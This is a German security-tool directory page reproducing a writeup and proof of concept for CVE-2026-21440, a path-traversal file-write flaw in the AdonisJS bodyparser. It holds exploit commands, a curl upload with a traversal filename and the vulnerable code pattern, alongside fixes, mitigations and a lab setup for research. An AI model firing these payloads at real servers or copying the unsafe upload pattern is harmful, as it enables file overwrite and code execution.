Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2026-21440-writeup-poc — PoC und Writeup für CVE-2026-21440: eine kritische Path-Traversal-Schwachstelle in @adonisjs/bodyparser, die das Schreiben beliebiger Dateien ermöglicht | Kitploit
Tools/GitHubGitHub/k0nnect/cve-2026-21440-writeup-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPapers & ForschungLernen & BildungKuratierte RessourcenLabs & Praxis
GitHubk0nnect/cve-2026-21440-writeup-poc

cve-2026-21440-writeup-poc

PoC und Writeup für CVE-2026-21440: eine kritische Path-Traversal-Schwachstelle in @adonisjs/bodyparser, die das Schreiben beliebiger Dateien ermöglicht

Repository anzeigen
37vor 8 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

cve-2026-21440

Path-Traversal zu beliebigem Datei-Schreiben in @adonisjs/bodyparser

CVE-2026-21440 CWE-22 CVSS 9.2


Übersicht

Eine kritische Path-Traversal-Schwachstelle existiert im Paket @adonisjs/bodyparser, die es entfernten Angreifern ermöglicht, beliebige Dateien außerhalb des vorgesehenen Upload-Verzeichnisses zu schreiben. Wenn die Funktion multipartfile.move() aufgerufen wird, ohne explizit einen bereinigten Dateinamen anzugeben, verwendet der Parser standardmäßig den vom Client gelieferten Dateinamen ohne ordnungsgemäße Bereinigung.

Da die Implementierung path.join() verwendet und options.overwrite standardmäßig auf true gesetzt ist, kann ein Angreifer einen bösartigen Dateinamen mit Verzeichnis-Traversal-Sequenzen (z. B. ) erstellen, um Dateien überall im Dateisystem zu schreiben, was möglicherweise zur Remote-Code-Ausführung führt.

../../etc/cron.d/malicious

Schwachstellenanalyse

AttributWert
CVE-IDcve-2026-21440
CWE-Klassifizierungcwe-22: Unzulässige Begrenzung eines Pfadnamens auf ein eingeschränktes Verzeichnis ('Path Traversal')
CVSS v3.1-Score9.2 (kritisch)
AngriffsvektorNetzwerk
Angriffskomplexitätniedrig
Erforderliche Privilegienkeine
Benutzerinteraktionkeine

Grundursache

Die Schwachstelle existiert in der Methode multipartfile.move(location, options?). Wenn Entwickler diese Methode aufrufen, ohne options.name anzugeben, verwendet der Code standardmäßig this.clientName — den ursprünglichen, vom Client gesendeten Dateinamen — ohne Bereinigung.

root@kitploit:~
// Verwundbarer Codepfad in @adonisjs/bodyparser
async move(location: string, options?: { name?: string; overwrite?: boolean }): Promise<void> {
  const fileName = options?.name || this.clientName  // ← unbereinigte Client-Eingabe
  const filePath = path.join(location, fileName)     // ← path.join erlaubt Traversal
  // ...
  await fs.move(this.tmpPath, filePath, { overwrite: options?.overwrite ?? true })
}

Angriffsablauf

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                         Angreifer                               │
└─────────────────────────────────────────────────────────────────┘
                              │
                              │ multipart/form-data
                              │ filename="../../etc/cron.d/pwned"
                              ▼
┌─────────────────────────────────────────────────────────────────┐
│                    Verwundbare AdonisJS-App                      │
│                                                                  │
│   request.file('upload')                                        │
│        │                                                         │
│        ▼                                                         │
│   file.move(app.tmpPath())  ← kein bereinigter Name angegeben   │
│        │                                                         │
│        ▼                                                         │
│   path.join('/tmp/uploads', '../../etc/cron.d/pwned')           │
│        │                                                         │
│        ▼                                                         │
│   löst auf zu: /etc/cron.d/pwned                                │
│        │                                                         │
│        ▼                                                         │
│   Datei außerhalb des Upload-Verzeichnisses geschrieben          │
└─────────────────────────────────────────────────────────────────┘
                              │
                              ▼
                    beliebiges Datei-Schreiben
                         → RCE über Cron
                         → Konfigurationsüberschreibung
                         → SSH-Key-Injektion

Betroffene Versionen

PaketVerwundbare VersionenGepatchte Version
@adonisjs/bodyparser≤ 10.1.110.1.2
@adonisjs/bodyparser11.0.0-next.1 bis 11.0.0-next.511.0.0-next.6

Ausnutzung

Voraussetzungen

  • Zielanwendung verwendet eine verwundbare Version von @adonisjs/bodyparser
  • Datei-Upload-Endpunkt ruft file.move() ohne explizite name-Option auf
  • Webserver hat Schreibrechte für das Zielverzeichnis

Proof of Concept

root@kitploit:~
# Navigiere zum Exploit-Verzeichnis
cd Exploit-PoC

# Installiere Abhängigkeiten
pip install -r requirements.txt

# Führe Exploit aus
python exploit.py --url http://target:3333/upload --path "../../../tmp/pwned.txt" --content "pwned"

Manuelle Ausnutzung

root@kitploit:~
curl -X POST http://target:3333/upload \
  -F "[email protected];filename=../../tmp/pwned.txt"

Erkennung & Abhilfe

Verwundbares Codemuster

root@kitploit:~
// ❌ verwundbar - verwendet vom Client gelieferten Dateinamen
public async upload({ request, response }: HttpContext) {
  const file = request.file('upload')
  if (file) {
    await file.move(app.tmpPath())  // clientName wird als Dateiname verwendet
  }
  return response.ok({ message: 'uploaded' })
}

Sicheres Codemuster

root@kitploit:~
// ✅ sicher - generiert bereinigten Dateinamen
import { cuid } from '@adonisjs/core/helpers'
import path from 'node:path'

public async upload({ request, response }: HttpContext) {
  const file = request.file('upload')
  if (file) {
    // Generiere eindeutigen Dateinamen mit ursprünglicher Erweiterung
    const ext = path.extname(file.clientName).toLowerCase()
    const safeName = `${cuid()}${ext}`
    
    await file.move(app.tmpPath(), {
      name: safeName,
      overwrite: false  // Überschreibungen verhindern
    })
  }
  return response.ok({ message: 'uploaded' })
}

Zusätzliche Abhilfemaßnahmen

  1. Sofort aktualisieren — @adonisjs/bodyparser auf die gepatchte Version aktualisieren
  2. Eingabevalidierung — Dateierweiterungen gegen eine Whitelist validieren
  3. Dateinamen-Bereinigung — Pfadtrennzeichen entfernen und generierte Namen verwenden
  4. Dateisystem-Isolation — Containerisierung verwenden, um den Schadensradius zu begrenzen
  5. Prinzip der geringsten Privilegien — Webserver mit minimalen Berechtigungen ausführen

Laborumgebung

Schnellstart

root@kitploit:~
# Repository klonen
git clone https://github.com/k0nnect/cve-2026-21440.git
cd cve-2026-21440

# Verwundbare Umgebung starten
docker-compose up --build

# In einem anderen Terminal den Exploit ausführen
cd Exploit-PoC
python exploit.py --url http://localhost:3333/upload --path "../test.txt"

# Überprüfen, ob die Datei außerhalb des Uploads-Verzeichnisses geschrieben wurde
docker-compose exec app cat /app/test.txt

Zeitplan

DatumEreignis
2026-01-02Patch in 10.1.2 und 11.0.0-next.6 veröffentlicht
2026-01-02ghsa-gvq6-hvvp-h34h veröffentlicht
2026-01-02cve-2026-21440 zugewiesen
2026-01-02von nvd veröffentlicht

Referenzen

  • nvd - cve-2026-21440
  • cwe-22: Path Traversal
  • AdonisJS-Bodyparser-Dokumentation
  • OWASP Path Traversal

Haftungsausschluss

Dieses Repository wird ausschließlich für Bildungs- und autorisierte Sicherheitsforschungszwecke bereitgestellt. Der Proof-of-Concept-Code soll Sicherheitsexperten helfen, diese Schwachstelle in Umgebungen zu verstehen und zu testen, für deren Bewertung sie autorisiert sind.

Unbefugter Zugriff auf Computersysteme ist illegal. Die Autoren übernehmen keine Haftung für die missbräuchliche Verwendung dieser Informationen. Holen Sie immer die entsprechende Autorisierung ein, bevor Sie Schwachstellen testen.


recherchiert mit ☕ von k0nnect

Tool herunterladen